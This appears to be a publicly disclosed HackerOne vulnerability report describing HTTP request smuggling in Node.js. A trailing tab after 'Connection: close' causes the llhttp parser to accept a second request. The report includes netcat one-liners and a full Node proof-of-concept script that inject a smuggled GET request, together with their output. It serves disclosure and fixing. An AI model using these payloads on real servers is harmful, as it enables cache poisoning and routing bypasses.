HexBrain

Node.js · Report #3723248

HTTP Request Smuggling via Connection: close<TAB> in Node.js llhttp parser

Validstatus
mediumseverity
49upvotes
31 Jul 2026disclosed

How it was found

Summary: Node's HTTP server ignores Connection: close when the token is followed by a tab character, so bytes after the request body can be parsed as a second request on the same connection.

Description: I found a parsing difference in Node's HTTP/1 handling for the Connection header.

Connection: close works as expected: after the request body, Node does not accept another request on that connection. Connection: close with a trailing space also works as expected.

But Connection: close\t behaves differently. Node does not apply the close connection option, keeps the connection alive, and parses the bytes immediately after the first request body as another HTTP request. In my test, a single TCP write containing a POST followed by GET /smuggled results in the application receiving two request events.

This looks like it comes from llhttp's Connection token parser. After recognizing close, the parser accepts comma, space, CR, and LF, but not HTAB. The HTAB path falls back in a way that drops the pending CONNECTION_CLOSE state.

This looks like it comes from llhttp’s Connection token parser. After recognizing close, the parser accepts comma, space, CR, and LF, but not HTAB. The HTAB path falls back in a way that drops the pending CONNECTION_CLOSE state.

Although the root cause appears to be in llhttp, this report is for Node.js because the behavior is reachable through Node's default http.createServer() API with attacker-controlled inbound network data.

Relevant code:

Steps To Reproduce

I reproduced this with Node.js v24.13.1, v24.15.0, and v26.1.0 using default http.createServer() settings.

Manual Reproduction Without Script

Terminal 1: start a default Node HTTP server.

node -e "require('http').createServer((req,res)=>{console.log('request:', req.url); req.resume(); res.end('ok');}).listen(8080,'127.0.0.1',()=>console.log('listening'))"

Terminal 2: send the control case with normal Connection: close.

printf 'POST /first HTTP/1.1\r\nHost: victim\r\nContent-Length: 4\r\nConnection: close\r\n\r\n1234GET /smuggled HTTP/1.1\r\nHost: victim\r\n\r\n' | nc -w 2 127.0.0.1 8080

Expected server output in Terminal 1:

request: /first

Terminal 2: send the second control case with Connection: close and a trailing space.

printf 'POST /first HTTP/1.1\r\nHost: victim\r\nContent-Length: 4\r\nConnection: close \r\n\r\n1234GET /smuggled HTTP/1.1\r\nHost: victim\r\n\r\n' | nc -w 2 127.0.0.1 8080

Expected server output in Terminal 1:

request: /first

Terminal 2: send the vulnerable case with a tab after close.

printf 'POST /first HTTP/1.1\r\nHost: victim\r\nContent-Length: 4\r\nConnection: close\t\r\n\r\n1234GET /smuggled HTTP/1.1\r\nHost: victim\r\n\r\n' | nc -w 2 127.0.0.1 8080

Unexpected server output in Terminal 1:

request: /first
request: /smuggled

The only difference is Connection: close versus Connection: close\t. I tested this manual reproduction with WSL nc against Node.js v24.15.0 and v26.1.0.

Optional Script Reproduction

Save this as node_connection_close_tab_e2e.js.

const http = require('http');
const net = require('net');

const cases = [
  ['normal-close', 'Connection: close\r\n'],
  ['space-after-close', 'Connection: close \r\n'],
  ['tab-after-close', 'Connection: close\t\r\n'],
];

function sendRaw(port, connectionLine, expectedResponses) {
  return new Promise((resolve) => {
    const socket = net.createConnection({ port, host: '127.0.0.1' });
    let data = '';
    let settled = false;

    function finish() {
      if (settled) return;
      settled = true;
      socket.destroy();
      resolve(data);
    }

    socket.on('data', (chunk) => {
      data += chunk.toString('latin1');
      const count = [...data.matchAll(/HTTP\/1\.1 \d+/g)].length;
      if (count >= expectedResponses) {
        finish();
      }
    });
    socket.on('close', finish);
    socket.on('connect', () => {
      socket.write(
        'POST /first HTTP/1.1\r\n' +
        'Host: victim\r\n' +
        'Content-Length: 4\r\n' +
        connectionLine +
        '\r\n' +
        '1234' +
        'GET /smuggled HTTP/1.1\r\n' +
        'Host: victim\r\n' +
        '\r\n',
        'latin1',
      );
    });
  });
}

async function runCase(name, connectionLine) {
  const seen = [];
  const server = http.createServer((req, res) => {
    seen.push(req.url);
    req.resume();
    res.end('ok');
  });

  await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
  const port = server.address().port;
  const expectedResponses = name === 'tab-after-close' ? 2 : 1;
  const response = await sendRaw(port, connectionLine, expectedResponses);
  await new Promise((resolve) => server.close(resolve));

  console.log(`CASE ${name}`);
  console.log(`  seen=${JSON.stringify(seen)}`);
  console.log(`  response_statuses=${JSON.stringify([...response.matchAll(/HTTP\/1\.1 (\d+)/g)].map((m) => m[1]))}`);
}

(async () => {
  for (const [name, connectionLine] of cases) {
    await runCase(name, connectionLine);
  }
})().catch((err) => {
  console.error(err);
  process.exitCode = 1;
});

Run it:

node node_connection_close_tab_e2e.js

Output:

CASE normal-close
  seen=["/first"]
  response_statuses=["200"]
CASE space-after-close
  seen=["/first"]
  response_statuses=["200"]
CASE tab-after-close
  seen=["/first","/smuggled"]
  response_statuses=["200","200"]

The only difference between the safe case and the unsafe case is the trailing tab after close.

Supporting Material/References

Impact

A remote unauthenticated client can send one TCP payload that Node exposes to the application as two HTTP requests, even though the first request uses Connection: close. In other words, the attacker can inject an extra request into a connection that should have been closed after the first request.

This can break assumptions in servers, reverse proxies, and gateways that rely on Connection: close to delimit a connection after a request. In a multi-hop setup, a frontend or peer that treats Connection: close<TAB> as Connection: close can become desynchronized from Node, while Node continues parsing the attacker-controlled trailing bytes as a new request.

The practical impact is HTTP request smuggling / request queue desynchronization. Depending on deployment, this can lead to routing bypasses, cache poisoning, or the injected request being processed under connection-level assumptions that were intended only for the previous request. I have not assumed a specific proxy product or application authorization bug; the PoC demonstrates the underlying Node HTTP parser behavior needed for such chains.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original